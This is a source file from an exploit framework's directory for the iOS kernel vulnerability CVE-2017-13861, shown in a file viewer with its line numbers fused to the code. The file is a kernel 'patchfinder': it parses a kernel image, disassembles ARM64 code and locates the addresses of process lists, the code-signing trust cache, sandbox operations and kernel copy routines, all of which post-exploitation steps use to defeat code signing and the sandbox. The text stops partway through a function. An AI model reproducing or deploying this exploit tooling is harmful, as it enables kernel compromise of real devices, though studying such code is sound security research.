Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2017-13861/patchfinder64.m
Views: 11780
1//2// patchfinder64.c3// extra_recipe4//5// Created by xerub on 06/06/2017.6// Copyright © 2017 xerub. All rights reserved.7//89#import <assert.h>10#import <stdint.h>11#import <string.h>12#import "kernel_utils.h"1314typedef unsigned long long addr_t;1516#define IS64(image) (*(uint8_t *)(image) & 1)1718#define MACHO(p) ((*(unsigned int *)(p) & ~1) == 0xfeedface)1920/* generic stuff *************************************************************/2122#define UCHAR_MAX 2552324static unsigned char *25Boyermoore_horspool_memmem(const unsigned char* haystack, size_t hlen,26const unsigned char* needle, size_t nlen)27{28size_t last, scan = 0;29size_t bad_char_skip[UCHAR_MAX + 1]; /* Officially called:30* bad character shift */3132/* Sanity checks on the parameters */33if (nlen <= 0 || !haystack || !needle)34return NULL;3536/* ---- Preprocess ---- */37/* Initialize the table to default value */38/* When a character is encountered that does not occur39* in the needle, we can safely skip ahead for the whole40* length of the needle.41*/42for (scan = 0; scan <= UCHAR_MAX; scan = scan + 1)43bad_char_skip[scan] = nlen;4445/* C arrays have the first byte at [0], therefore:46* [nlen - 1] is the last byte of the array. */47last = nlen - 1;4849/* Then populate it with the analysis of the needle */50for (scan = 0; scan < last; scan = scan + 1)51bad_char_skip[needle[scan]] = last - scan;5253/* ---- Do the matching ---- */5455/* Search the haystack, while the needle can still be within it. */56while (hlen >= nlen)57{58/* scan from the end of the needle */59for (scan = last; haystack[scan] == needle[scan]; scan = scan - 1)60if (scan == 0) /* If the first byte matches, we've found it. */61return (void *)haystack;6263/* otherwise, we need to skip some bytes and start again.64Note that here we are getting the skip value based on the last byte65of needle, no matter where we didn't match. So if needle is: "abcd"66then we are skipping based on 'd' and that value will be 4, and67for "abcdd" we again skip on 'd' but the value will be only 1.68The alternative of pretending that the mismatched character was69the last character is slower in the normal case (E.g. finding70"abcd" in "...azcd..." gives 4 by using 'd' but only714-2==2 using 'z'. */72hlen -= bad_char_skip[haystack[last]];73haystack += bad_char_skip[haystack[last]];74}7576return NULL;77}7879/* disassembler **************************************************************/8081static int HighestSetBit(int N, uint32_t imm)82{83int i;84for (i = N - 1; i >= 0; i--) {85if (imm & (1 << i)) {86return i;87}88}89return -1;90}9192static uint64_t ZeroExtendOnes(unsigned M, unsigned N) // zero extend M ones to N width93{94(void)N;95return ((uint64_t)1 << M) - 1;96}9798static uint64_t RORZeroExtendOnes(unsigned M, unsigned N, unsigned R)99{100uint64_t val = ZeroExtendOnes(M, N);101if (R == 0) {102return val;103}104return ((val >> R) & (((uint64_t)1 << (N - R)) - 1)) | ((val & (((uint64_t)1 << R) - 1)) << (N - R));105}106107static uint64_t Replicate(uint64_t val, unsigned bits)108{109uint64_t ret = val;110unsigned shift;111for (shift = bits; shift < 64; shift += bits) { // XXX actually, it is either 32 or 64112ret |= (val << shift);113}114return ret;115}116117static int DecodeBitMasks(unsigned immN, unsigned imms, unsigned immr, int immediate, uint64_t *newval)118{119unsigned levels, S, R, esize;120int len = HighestSetBit(7, (immN << 6) | (~imms & 0x3F));121if (len < 1) {122return -1;123}124levels = ZeroExtendOnes(len, 6);125if (immediate && (imms & levels) == levels) {126return -1;127}128S = imms & levels;129R = immr & levels;130esize = 1 << len;131*newval = Replicate(RORZeroExtendOnes(S + 1, esize, R), esize);132return 0;133}134135static int DecodeMov(uint32_t opcode, uint64_t total, int first, uint64_t *newval)136{137unsigned o = (opcode >> 29) & 3;138unsigned k = (opcode >> 23) & 0x3F;139unsigned rn, rd;140uint64_t i;141142if (k == 0x24 && o == 1) { // MOV (bitmask imm) <=> ORR (immediate)143unsigned s = (opcode >> 31) & 1;144unsigned N = (opcode >> 22) & 1;145if (s == 0 && N != 0) {146return -1;147}148rn = (opcode >> 5) & 0x1F;149if (rn == 31) {150unsigned imms = (opcode >> 10) & 0x3F;151unsigned immr = (opcode >> 16) & 0x3F;152return DecodeBitMasks(N, imms, immr, 1, newval);153}154} else if (k == 0x25) { // MOVN/MOVZ/MOVK155unsigned s = (opcode >> 31) & 1;156unsigned h = (opcode >> 21) & 3;157if (s == 0 && h > 1) {158return -1;159}160i = (opcode >> 5) & 0xFFFF;161h *= 16;162i <<= h;163if (o == 0) { // MOVN164*newval = ~i;165return 0;166} else if (o == 2) { // MOVZ167*newval = i;168return 0;169} else if (o == 3 && !first) { // MOVK170*newval = (total & ~((uint64_t)0xFFFF << h)) | i;171return 0;172}173} else if ((k | 1) == 0x23 && !first) { // ADD (immediate)174unsigned h = (opcode >> 22) & 3;175if (h > 1) {176return -1;177}178rd = opcode & 0x1F;179rn = (opcode >> 5) & 0x1F;180if (rd != rn) {181return -1;182}183i = (opcode >> 10) & 0xFFF;184h *= 12;185i <<= h;186if (o & 2) { // SUB187*newval = total - i;188return 0;189} else { // ADD190*newval = total + i;191return 0;192}193}194195return -1;196}197198/* patchfinder ***************************************************************/199200static addr_t201Step64(const uint8_t *buf, addr_t start, size_t length, uint32_t what, uint32_t mask)202{203addr_t end = start + length;204while (start < end) {205uint32_t x = *(uint32_t *)(buf + start);206if ((x & mask) == what) {207return start;208}209start += 4;210}211return 0;212}213214// str8 = Step64_back(Kernel, ref, ref - bof, INSN_STR8);215static addr_t216Step64_back(const uint8_t *buf, addr_t start, size_t length, uint32_t what, uint32_t mask)217{218addr_t end = start - length;219while (start >= end) {220uint32_t x = *(uint32_t *)(buf + start);221if ((x & mask) == what) {222return start;223}224start -= 4;225}226return 0;227}228229// Finds start of function230static addr_t231BOF64(const uint8_t *buf, addr_t start, addr_t where)232{233for (; where >= start; where -= 4) {234uint32_t op = *(uint32_t *)(buf + where);235if ((op & 0xFFC003FF) == 0x910003FD) {236unsigned delta = (op >> 10) & 0xFFF;237//printf("%x: ADD X29, SP, #0x%x\n", where, delta);238if ((delta & 0xF) == 0) {239addr_t prev = where - ((delta >> 4) + 1) * 4;240uint32_t au = *(uint32_t *)(buf + prev);241if ((au & 0xFFC003E0) == 0xA98003E0) {242//printf("%x: STP x, y, [SP,#-imm]!\n", prev);243return prev;244}245}246}247}248return 0;249}250251static addr_t252xref64(const uint8_t *buf, addr_t start, addr_t end, addr_t what)253{254addr_t i;255uint64_t value[32];256257memset(value, 0, sizeof(value));258259end &= ~3;260for (i = start & ~3; i < end; i += 4) {261uint32_t op = *(uint32_t *)(buf + i);262unsigned reg = op & 0x1F;263if ((op & 0x9F000000) == 0x90000000) {264signed adr = ((op & 0x60000000) >> 18) | ((op & 0xFFFFE0) << 8);265//printf("%llx: ADRP X%d, 0x%llx\n", i, reg, ((long long)adr << 1) + (i & ~0xFFF));266value[reg] = ((long long)adr << 1) + (i & ~0xFFF);267/*} else if ((op & 0xFFE0FFE0) == 0xAA0003E0) {268unsigned rd = op & 0x1F;269unsigned rm = (op >> 16) & 0x1F;270//printf("%llx: MOV X%d, X%d\n", i, rd, rm);271value[rd] = value[rm];*/272} else if ((op & 0xFF000000) == 0x91000000) {273unsigned rn = (op >> 5) & 0x1F;274unsigned shift = (op >> 22) & 3;275unsigned imm = (op >> 10) & 0xFFF;276if (shift == 1) {277imm <<= 12;278} else {279//assert(shift == 0);280if (shift > 1) continue;281}282//printf("%llx: ADD X%d, X%d, 0x%x\n", i, reg, rn, imm);283value[reg] = value[rn] + imm;284} else if ((op & 0xF9C00000) == 0xF9400000) {285unsigned rn = (op >> 5) & 0x1F;286unsigned imm = ((op >> 10) & 0xFFF) << 3;287//printf("%llx: LDR X%d, [X%d, 0x%x]\n", i, reg, rn, imm);288if (!imm) continue; // XXX not counted as true xref289value[reg] = value[rn] + imm; // XXX address, not actual value290/*} else if ((op & 0xF9C00000) == 0xF9000000) {291unsigned rn = (op >> 5) & 0x1F;292unsigned imm = ((op >> 10) & 0xFFF) << 3;293//printf("%llx: STR X%d, [X%d, 0x%x]\n", i, reg, rn, imm);294if (!imm) continue; // XXX not counted as true xref295value[rn] = value[rn] + imm; // XXX address, not actual value*/296} else if ((op & 0x9F000000) == 0x10000000) {297signed adr = ((op & 0x60000000) >> 18) | ((op & 0xFFFFE0) << 8);298//printf("%llx: ADR X%d, 0x%llx\n", i, reg, ((long long)adr >> 11) + i);299value[reg] = ((long long)adr >> 11) + i;300} else if ((op & 0xFF000000) == 0x58000000) {301unsigned adr = (op & 0xFFFFE0) >> 3;302//printf("%llx: LDR X%d, =0x%llx\n", i, reg, adr + i);303value[reg] = adr + i; // XXX address, not actual value304}305if (value[reg] == what) {306return i;307}308}309return 0;310}311312static addr_t313Calc64(const uint8_t *buf, addr_t start, addr_t end, int which)314{315addr_t i;316uint64_t value[32];317318memset(value, 0, sizeof(value));319320end &= ~3;321for (i = start & ~3; i < end; i += 4) {322uint32_t op = *(uint32_t *)(buf + i);323unsigned reg = op & 0x1F;324if ((op & 0x9F000000) == 0x90000000) {325signed adr = ((op & 0x60000000) >> 18) | ((op & 0xFFFFE0) << 8);326//printf("%llx: ADRP X%d, 0x%llx\n", i, reg, ((long long)adr << 1) + (i & ~0xFFF));327value[reg] = ((long long)adr << 1) + (i & ~0xFFF);328/*} else if ((op & 0xFFE0FFE0) == 0xAA0003E0) {329unsigned rd = op & 0x1F;330unsigned rm = (op >> 16) & 0x1F;331//printf("%llx: MOV X%d, X%d\n", i, rd, rm);332value[rd] = value[rm];*/333} else if ((op & 0xFF000000) == 0x91000000) {334unsigned rn = (op >> 5) & 0x1F;335unsigned shift = (op >> 22) & 3;336unsigned imm = (op >> 10) & 0xFFF;337if (shift == 1) {338imm <<= 12;339} else {340//assert(shift == 0);341if (shift > 1) continue;342}343//printf("%llx: ADD X%d, X%d, 0x%x\n", i, reg, rn, imm);344value[reg] = value[rn] + imm;345} else if ((op & 0xF9C00000) == 0xF9400000) {346unsigned rn = (op >> 5) & 0x1F;347unsigned imm = ((op >> 10) & 0xFFF) << 3;348//printf("%llx: LDR X%d, [X%d, 0x%x]\n", i, reg, rn, imm);349if (!imm) continue; // XXX not counted as true xref350value[reg] = value[rn] + imm; // XXX address, not actual value351} else if ((op & 0xF9C00000) == 0xF9000000) {352unsigned rn = (op >> 5) & 0x1F;353unsigned imm = ((op >> 10) & 0xFFF) << 3;354//printf("%llx: STR X%d, [X%d, 0x%x]\n", i, reg, rn, imm);355if (!imm) continue; // XXX not counted as true xref356value[rn] = value[rn] + imm; // XXX address, not actual value357} else if ((op & 0x9F000000) == 0x10000000) {358signed adr = ((op & 0x60000000) >> 18) | ((op & 0xFFFFE0) << 8);359//printf("%llx: ADR X%d, 0x%llx\n", i, reg, ((long long)adr >> 11) + i);360value[reg] = ((long long)adr >> 11) + i;361} else if ((op & 0xFF000000) == 0x58000000) {362unsigned adr = (op & 0xFFFFE0) >> 3;363//printf("%llx: LDR X%d, =0x%llx\n", i, reg, adr + i);364value[reg] = adr + i; // XXX address, not actual value365}366}367return value[which];368}369370static addr_t371Calc64mov(const uint8_t *buf, addr_t start, addr_t end, int which)372{373addr_t i;374uint64_t value[32];375376memset(value, 0, sizeof(value));377378end &= ~3;379for (i = start & ~3; i < end; i += 4) {380uint32_t op = *(uint32_t *)(buf + i);381unsigned reg = op & 0x1F;382uint64_t newval;383int rv = DecodeMov(op, value[reg], 0, &newval);384if (rv == 0) {385if (((op >> 31) & 1) == 0) {386newval &= 0xFFFFFFFF;387}388value[reg] = newval;389}390}391return value[which];392}393394static addr_t395Find_call64(const uint8_t *buf, addr_t start, size_t length)396{397return Step64(buf, start, length, 0x94000000, 0xFC000000);398}399400static addr_t401Follow_call64(const uint8_t *buf, addr_t call)402{403long long w;404w = *(uint32_t *)(buf + call) & 0x3FFFFFF;405w <<= 64 - 26;406w >>= 64 - 26 - 2;407return call + w;408}409410static addr_t411Follow_cbz(const uint8_t *buf, addr_t cbz)412{413return cbz + ((*(int *)(buf + cbz) & 0x3FFFFE0) << 10 >> 13);414}415416/* kernel iOS10 **************************************************************/417418#import <fcntl.h>419#import <stdio.h>420#import <stdlib.h>421#import <unistd.h>422#import <mach-o/loader.h>423424//#define __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__425426#ifdef __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__427#import <mach/mach.h>428size_t KernelRead(uint64_t where, void *p, size_t size);429#endif430431static uint8_t *Kernel = NULL;432static size_t Kernel_size = 0;433434static addr_t XNUCore_Base = 0;435static addr_t XNUCore_Size = 0;436static addr_t Prelink_Base = 0;437static addr_t Prelink_Size = 0;438static addr_t CString_base = 0;439static addr_t CString_size = 0;440static addr_t PString_base = 0;441static addr_t PString_size = 0;442static addr_t KernDumpBase = -1;443static addr_t Kernel_entry = 0;444static void *Kernel_mh = 0;445static addr_t Kernel_delta = 0;446447int448InitPatchfinder(addr_t base, const char *filename)449{450size_t rv;451uint8_t buf[0x4000];452unsigned i, j;453const struct mach_header *hdr = (struct mach_header *)buf;454const uint8_t *q;455addr_t min = -1;456addr_t max = 0;457int is64 = 0;458459#ifdef __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__460#define close(f)461rv = KernelRead(base, buf, sizeof(buf));462if (rv != sizeof(buf)) {463return -1;464}465#else /* __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__ */466int fd = open(filename, O_RDONLY);467if (fd < 0) {468return -1;469}470471rv = read(fd, buf, sizeof(buf));472if (rv != sizeof(buf)) {473close(fd);474return -1;475}476#endif /* __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__ */477478if (!MACHO(buf)) {479close(fd);480return -1;481}482483if (IS64(buf)) {484is64 = 4;485}486487q = buf + sizeof(struct mach_header) + is64;488for (i = 0; i < hdr->ncmds; i++) {489const struct load_command *cmd = (struct load_command *)q;490if (cmd->cmd == LC_SEGMENT_64) {491const struct segment_command_64 *seg = (struct segment_command_64 *)q;492if (min > seg->vmaddr) {493min = seg->vmaddr;494}495if (max < seg->vmaddr + seg->vmsize) {496max = seg->vmaddr + seg->vmsize;497}498if (!strcmp(seg->segname, "__TEXT_EXEC")) {499XNUCore_Base = seg->vmaddr;500XNUCore_Size = seg->filesize;501}502if (!strcmp(seg->segname, "__PLK_TEXT_EXEC")) {503Prelink_Base = seg->vmaddr;504Prelink_Size = seg->filesize;505}506if (!strcmp(seg->segname, "__TEXT")) {507const struct section_64 *sec = (struct section_64 *)(seg + 1);508for (j = 0; j < seg->nsects; j++) {509if (!strcmp(sec[j].sectname, "__cstring")) {510CString_base = sec[j].addr;511CString_size = sec[j].size;512}513}514}515if (!strcmp(seg->segname, "__PRELINK_TEXT")) {516const struct section_64 *sec = (struct section_64 *)(seg + 1);517for (j = 0; j < seg->nsects; j++) {518if (!strcmp(sec[j].sectname, "__text")) {519PString_base = sec[j].addr;520PString_size = sec[j].size;521}522}523}524if (!strcmp(seg->segname, "__LINKEDIT")) {525Kernel_delta = seg->vmaddr - min - seg->fileoff;526}527}528if (cmd->cmd == LC_UNIXTHREAD) {529uint32_t *ptr = (uint32_t *)(cmd + 1);530uint32_t flavor = ptr[0];531struct {532uint64_t x[29]; /* General purpose registers x0-x28 */533uint64_t fp; /* Frame pointer x29 */534uint64_t lr; /* Link register x30 */535uint64_t sp; /* Stack pointer x31 */536uint64_t pc; /* Program counter */537uint32_t cpsr; /* Current program status register */538} *thread = (void *)(ptr + 2);539if (flavor == 6) {540Kernel_entry = thread->pc;541}542}543q = q + cmd->cmdsize;544}545546KernDumpBase = min;547XNUCore_Base -= KernDumpBase;548Prelink_Base -= KernDumpBase;549CString_base -= KernDumpBase;550PString_base -= KernDumpBase;551Kernel_size = max - min;552553#ifdef __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__554Kernel = malloc(Kernel_size);555if (!Kernel) {556return -1;557}558rv = KernelRead(KernDumpBase, Kernel, Kernel_size);559if (rv != Kernel_size) {560free(Kernel);561return -1;562}563564Kernel_mh = Kernel + base - min;565566(void)filename;567#undef close568#else /* __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__ */569Kernel = calloc(1, Kernel_size);570if (!Kernel) {571close(fd);572return -1;573}574575q = buf + sizeof(struct mach_header) + is64;576for (i = 0; i < hdr->ncmds; i++) {577const struct load_command *cmd = (struct load_command *)q;578if (cmd->cmd == LC_SEGMENT_64) {579const struct segment_command_64 *seg = (struct segment_command_64 *)q;580size_t sz = pread(fd, Kernel + seg->vmaddr - min, seg->filesize, seg->fileoff);581if (sz != seg->filesize) {582close(fd);583free(Kernel);584return -1;585}586if (!Kernel_mh) {587Kernel_mh = Kernel + seg->vmaddr - min;588}589printf("%s\n", seg->segname);590if (!strcmp(seg->segname, "__LINKEDIT")) {591Kernel_delta = seg->vmaddr - min - seg->fileoff;592}593}594q = q + cmd->cmdsize;595}596597close(fd);598599(void)base;600#endif /* __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__ */601return 0;602}603604void605TermPatchfinder(void)606{607free(Kernel);608}609610/* these operate on VA ******************************************************/611612#define INSN_RET 0xD65F03C0, 0xFFFFFFFF613#define INSN_CALL 0x94000000, 0xFC000000614#define INSN_B 0x14000000, 0xFC000000615#define INSN_CBZ 0x34000000, 0xFC000000616#define INSN_ADRP 0x90000000, 0x9F000000617618#define INSN_STR8 0xF9000000 | 8, 0xFFC00000 | 0x1F619620addr_t621Find_register_value(addr_t where, int reg)622{623addr_t val;624addr_t bof = 0;625where -= KernDumpBase;626if (where > XNUCore_Base) {627bof = BOF64(Kernel, XNUCore_Base, where);628if (!bof) {629bof = XNUCore_Base;630}631} else if (where > Prelink_Base) {632bof = BOF64(Kernel, Prelink_Base, where);633if (!bof) {634bof = Prelink_Base;635}636}637val = Calc64(Kernel, bof, where, reg);638if (!val) {639return 0;640}641return val + KernDumpBase;642}643644addr_t645Find_reference(addr_t to, int n, int prelink)646{647addr_t ref, end;648addr_t base = XNUCore_Base;649addr_t size = XNUCore_Size;650if (prelink) {651base = Prelink_Base;652size = Prelink_Size;653}654if (n <= 0) {655n = 1;656}657end = base + size;658to -= KernDumpBase;659do {660ref = xref64(Kernel, base, end, to);661if (!ref) {662return 0;663}664base = ref + 4;665} while (--n > 0);666return ref + KernDumpBase;667}668669addr_t670Find_strref(const char *string, int n, int prelink)671{672uint8_t *str;673addr_t base = CString_base;674addr_t size = CString_size;675if (prelink) {676base = PString_base;677size = PString_size;678}679str = Boyermoore_horspool_memmem(Kernel + base, size, (uint8_t *)string, strlen(string));680if (!str) {681return 0;682}683return Find_reference(str - Kernel + KernDumpBase, n, prelink);684}685686/****** fun *******/687688addr_t Find_add_x0_x0_0x40_ret(void) {689addr_t off;690uint32_t *k;691k = (uint32_t *)(Kernel + XNUCore_Base);692for (off = 0; off < XNUCore_Size - 4; off += 4, k++) {693if (k[0] == 0x91010000 && k[1] == 0xD65F03C0) {694return off + XNUCore_Base + KernDumpBase;695}696}697k = (uint32_t *)(Kernel + Prelink_Base);698for (off = 0; off < Prelink_Size - 4; off += 4, k++) {699if (k[0] == 0x91010000 && k[1] == 0xD65F03C0) {700return off + Prelink_Base + KernDumpBase;701}702}703return 0;704}705706707uint64_t Find_allproc_10(void)708{709addr_t val, bof, str8;710addr_t ref = Find_strref("\"pgrp_add : pgrp is dead adding process\"", 1, 0);711if (!ref) {712return 0;713}714ref -= KernDumpBase;715bof = BOF64(Kernel, XNUCore_Base, ref);716if (!bof) {717return 0;718}719str8 = Step64_back(Kernel, ref, ref - bof, INSN_STR8);720if (!str8) {721return 0;722}723val = Calc64(Kernel, bof, str8, 8);724if (!val) {725return 0;726}727return val + KernDumpBase;728}729730uint64_t Find_allproc_11(void) {731// Find the first reference to the string732addr_t ref = Find_strref("\"pgrp_add : pgrp is dead adding process\"", 1, 0);733if (!ref) {734return 0;735}736ref -= KernDumpBase;737738uint64_t start = BOF64(Kernel, XNUCore_Base, ref);739if (!start) {740return 0;741}742743// Find AND W8, W8, #0xFFFFDFFF - it's a pretty distinct instruction744addr_t weird_instruction = 0;745for (int i = 4; i < 4*0x100; i+=4) {746uint32_t op = *(uint32_t *)(Kernel + ref + i);747if (op == 0x12127908) {748weird_instruction = ref+i;749break;750}751}752if (!weird_instruction) {753return 0;754}755756uint64_t val = Calc64(Kernel, start, weird_instruction - 8, 8);757if (!val) {758printf("Failed to calculate x8");759return 0;760}761762return val + KernDumpBase;763}764765766uint64_t Find_allproc(void)767{768addr_t val = Find_allproc_10();769if (val) {770return val;771}772return Find_allproc_11();773}774775uint64_t Find_copyout(void) {776// Find the first reference to the string777addr_t ref = Find_strref("\"%s(%p, %p, %lu) - transfer too large\"", 2, 0);778if (!ref) {779return 0;780}781ref -= KernDumpBase;782783uint64_t start = 0;784for (int i = 4; i < 0x100*4; i+=4) {785uint32_t op = *(uint32_t*)(Kernel+ref-i);786if (op == 0xd10143ff) { // SUB SP, SP, #0x50787start = ref-i;788break;789}790}791if (!start) {792return 0;793}794795return start + KernDumpBase;796}797798uint64_t Find_bzero(void) {799// Just find SYS #3, c7, c4, #1, X3, then get the start of that function800addr_t off;801uint32_t *k;802k = (uint32_t *)(Kernel + XNUCore_Base);803for (off = 0; off < XNUCore_Size - 4; off += 4, k++) {804if (k[0] == 0xd50b7423) {805off += XNUCore_Base;806break;807}808}809810uint64_t start = BOF64(Kernel, XNUCore_Base, off);811if (!start) {812return 0;813}814815return start + KernDumpBase;816}817818addr_t Find_bcopy(void) {819// Jumps straight into memmove after switching x0 and x1 around820// Guess we just find the switch and that's it821addr_t off;822uint32_t *k;823k = (uint32_t *)(Kernel + XNUCore_Base);824for (off = 0; off < XNUCore_Size - 4; off += 4, k++) {825if (k[0] == 0xAA0003E3 && k[1] == 0xAA0103E0 && k[2] == 0xAA0303E1 && k[3] == 0xd503201F) {826return off + XNUCore_Base + KernDumpBase;827}828}829k = (uint32_t *)(Kernel + Prelink_Base);830for (off = 0; off < Prelink_Size - 4; off += 4, k++) {831if (k[0] == 0xAA0003E3 && k[1] == 0xAA0103E0 && k[2] == 0xAA0303E1 && k[3] == 0xd503201F) {832return off + Prelink_Base + KernDumpBase;833}834}835return 0;836}837838uint64_t Find_rootvnode(void) {839// Find the first reference to the string840addr_t ref = Find_strref("/var/run/.vfs_rsrc_streams_%p%x", 1, 0);841if (!ref) {842return 0;843}844ref -= KernDumpBase;845846uint64_t start = BOF64(Kernel, XNUCore_Base, ref);847if (!start) {848return 0;849}850851// Find MOV X9, #0x2000000000 - it's a pretty distinct instruction852addr_t weird_instruction = 0;853for (int i = 4; i < 4*0x100; i+=4) {854uint32_t op = *(uint32_t *)(Kernel + ref - i);855if (op == 0xB25B03E9) {856weird_instruction = ref-i;857break;858}859}860if (!weird_instruction) {861return 0;862}863864uint64_t val = Calc64(Kernel, start, weird_instruction, 8);865if (!val) {866return 0;867}868869return val + KernDumpBase;870}871872873addr_t Find_vnode_lookup() {874addr_t call, bof;875addr_t ref = Find_strref("/private/var/mobile", 0, 0);876if (!ref) {877return 0;878}879ref -= KernDumpBase;880bof = BOF64(Kernel, XNUCore_Base, ref);881if (!bof) {882return 0;883}884call = Step64(Kernel, ref, ref - bof, INSN_CALL);885if (!call) {886return 0;887}888call += 4;889call = Step64(Kernel, call, call - bof, INSN_CALL);890if (!call) {891return 0;892}893call += 4;894call = Step64(Kernel, call, call - bof, INSN_CALL);895if (!call) {896return 0;897}898return Follow_call64(Kernel, call) + KernDumpBase;899}900901addr_t902Find_trustcache10_3_2()903{904addr_t call, func, val;905addr_t ref = Find_strref("com.apple.MobileFileIntegrity", 1, 1);906if (!ref) {907return 0;908}909ref -= KernDumpBase;910call = Step64(Kernel, ref, 32, INSN_CALL);911if (!call) {912return 0;913}914call = Step64(Kernel, call+4, 32, INSN_CALL);915func = Follow_call64(Kernel, call);916if (!func) {917return 0;918}919val = Calc64(Kernel, func, func + 16, 8);920if (!val) {921return 0;922}923return val + KernDumpBase;924}925926addr_t927Find_trustcache()928{929addr_t cbz, call, func, val;930addr_t ref = Find_strref("amfi_prevent_old_entitled_platform_binaries", 1, 1);931if (!ref) {932return 0;933}934ref -= KernDumpBase;935cbz = Step64(Kernel, ref, 32, INSN_CBZ);936if (!cbz) {937return 0;938}939call = Step64(Kernel, Follow_cbz(Kernel, cbz), 4, INSN_CALL);940if (!call) {941return 0;942}943func = Follow_call64(Kernel, call);944if (!func) {945return 0;946}947val = Calc64(Kernel, func, func + 16, 8);948if (!val) {949return 0;950}951return val + KernDumpBase;952}953954/*955addr_t Find_trustcache(void) {956addr_t call, func;957addr_t ref = Find_strref("%s: only allowed process can check the trust cache", 1, 1);958if (!ref) {959return 0;960}961ref -= KernDumpBase;962call = Step64_back(Kernel, ref, 44, INSN_CALL);963if (!call) {964return 0;965}966func = Follow_call64(Kernel, call);967if (!func) {968return 0;969}970call = Step64(Kernel, func, 32, INSN_CALL);971if (!call) {972return 0;973}974func = Follow_call64(Kernel, call);975if (!func) {976return 0;977}978call = Step64(Kernel, func, 32, INSN_CALL);979if (!call) {980return 0;981}982call = Step64(Kernel, call + 4, 32, INSN_CALL);983if (!call) {984return 0;985}986func = Follow_call64(Kernel, call);987if (!func) {988return 0;989}990call = Step64(Kernel, func, 48, INSN_CALL);991if (!call) {992return 0;993}994uint64_t val = Calc64(Kernel, call, call + 24, 21);995if (!val) {996// iOS 12997ref = Find_strref("\"loadable trust cache buffer too small (%ld) for entries claimed (%d)\"", 1, 0);998if (!ref) {999return 0;1000}1001ref -= KernDumpBase;10021003val = Calc64(Kernel, ref-12*4, ref-12*4+12, 8);1004if (!val) {1005return 0;1006}1007return val + KernDumpBase;1008}1009return val + KernDumpBase;1010}1011*/10121013// people that worked in unc0ver. sparkey maybe?1014addr_t Find_amficache() {1015uint64_t cbz, call, func, val;1016uint64_t ref = Find_strref("amfi_prevent_old_entitled_platform_binaries", 1, 1);1017if (!ref) {1018// iOS 111019ref = Find_strref("com.apple.MobileFileIntegrity", 0, 1);1020if (!ref) {1021return 0;1022}1023ref -= KernDumpBase;1024call = Step64(Kernel, ref, 64, INSN_CALL);1025if (!call) {1026return 0;1027}1028call = Step64(Kernel, call + 4, 64, INSN_CALL);1029goto okay;1030}1031ref -= KernDumpBase;1032cbz = Step64(Kernel, ref, 32, INSN_CBZ);1033if (!cbz) {1034return 0;1035}1036call = Step64(Kernel, Follow_cbz(Kernel, cbz), 4, INSN_CALL);1037okay:1038if (!call) {1039return 0;1040}1041func = Follow_call64(Kernel, call);1042if (!func) {1043return 0;1044}1045val = Calc64(Kernel, func, func + 16, 8);1046if (!val) {1047ref = Find_strref("%s: only allowed process can check the trust cache", 1, 1); // Trying to find AppleMobileFileIntegrityUserClient::isCdhashInTrustCache1048if (!ref) {1049return 0;1050}1051ref -= KernDumpBase;1052call = Step64_back(Kernel, ref, 11*4, INSN_CALL);1053if (!call) {1054return 0;1055}1056func = Follow_call64(Kernel, call);1057if (!func) {1058return 0;1059}1060call = Step64(Kernel, func, 8*4, INSN_CALL);1061if (!call) {1062return 0;1063}1064func = Follow_call64(Kernel, call);1065if (!func) {1066return 0;1067}1068call = Step64(Kernel, func, 8*4, INSN_CALL);1069if (!call) {1070return 0;1071}1072call = Step64(Kernel, call+4, 8*4, INSN_CALL);1073if (!call) {1074return 0;1075}1076func = Follow_call64(Kernel, call);1077if (!func) {1078return 0;1079}1080call = Step64(Kernel, func, 12*4, INSN_CALL);1081if (!call) {1082return 0;1083}10841085val = Calc64(Kernel, call, call + 6*4, 21);1086}1087return val + KernDumpBase;1088}108910901091addr_t Find_zone_map_ref(void) {1092// \"Nothing being freed to the zone_map. start = end = %p\\n\"1093uint64_t val = KernDumpBase;10941095addr_t ref = Find_strref("\"Nothing being freed to the zone_map. start = end = %p\\n\"", 1, 0);1096ref -= KernDumpBase;10971098// skip add & adrp for panic str1099ref -= 8;11001101// adrp xX, #_zone_map@PAGE1102ref = Step64_back(Kernel, ref, 30, INSN_ADRP);11031104uint32_t *insn = (uint32_t*)(Kernel+ref);1105// get pc1106val += ((uint8_t*)(insn) - Kernel) & ~0xfff;1107uint8_t xm = *insn & 0x1f;11081109// don't ask, I wrote this at 5am1110val += (*insn<<9 & 0x1ffffc000) | (*insn>>17 & 0x3000);11111112// ldr x, [xX, #_zone_map@PAGEOFF]1113++insn;1114if ((*insn & 0xF9C00000) != 0xF9400000) {1115return 0;1116}11171118// xd == xX, xn == xX,1119if ((*insn&0x1f) != xm || ((*insn>>5)&0x1f) != xm) {1120return 0;1121}11221123val += ((*insn >> 10) & 0xFFF) << 3;11241125return val;1126}11271128addr_t Find_OSBoolean_True() {1129addr_t val;1130addr_t ref = Find_strref("Delay Autounload", 0, 0);1131if (!ref) {1132return 0;1133}1134ref -= KernDumpBase;11351136addr_t weird_instruction = 0;1137for (int i = 4; i < 4*0x100; i+=4) {1138uint32_t op = *(uint32_t *)(Kernel + ref + i);1139if (op == 0x320003E0) {1140weird_instruction = ref+i;1141break;1142}1143}1144if (!weird_instruction) {1145return 0;1146}11471148val = Calc64(Kernel, ref, weird_instruction, 8);1149if (!val) {1150return 0;1151}11521153return KernelRead_64bits(val + KernDumpBase);1154}11551156addr_t Find_OSBoolean_False() {1157return Find_OSBoolean_True()+8;1158}1159addr_t Find_osunserializexml() {1160addr_t ref = Find_strref("OSUnserializeXML: %s near line %d\n", 1, 0);1161ref -= KernDumpBase;1162uint64_t start = BOF64(Kernel, XNUCore_Base, ref);1163return start + KernDumpBase;1164}11651166addr_t Find_smalloc() {1167addr_t ref = Find_strref("sandbox memory allocation failure", 1, 1);1168ref -= KernDumpBase;1169uint64_t start = BOF64(Kernel, Prelink_Base, ref);1170return start + KernDumpBase;1171}11721173addr_t Find_sbops() {1174addr_t 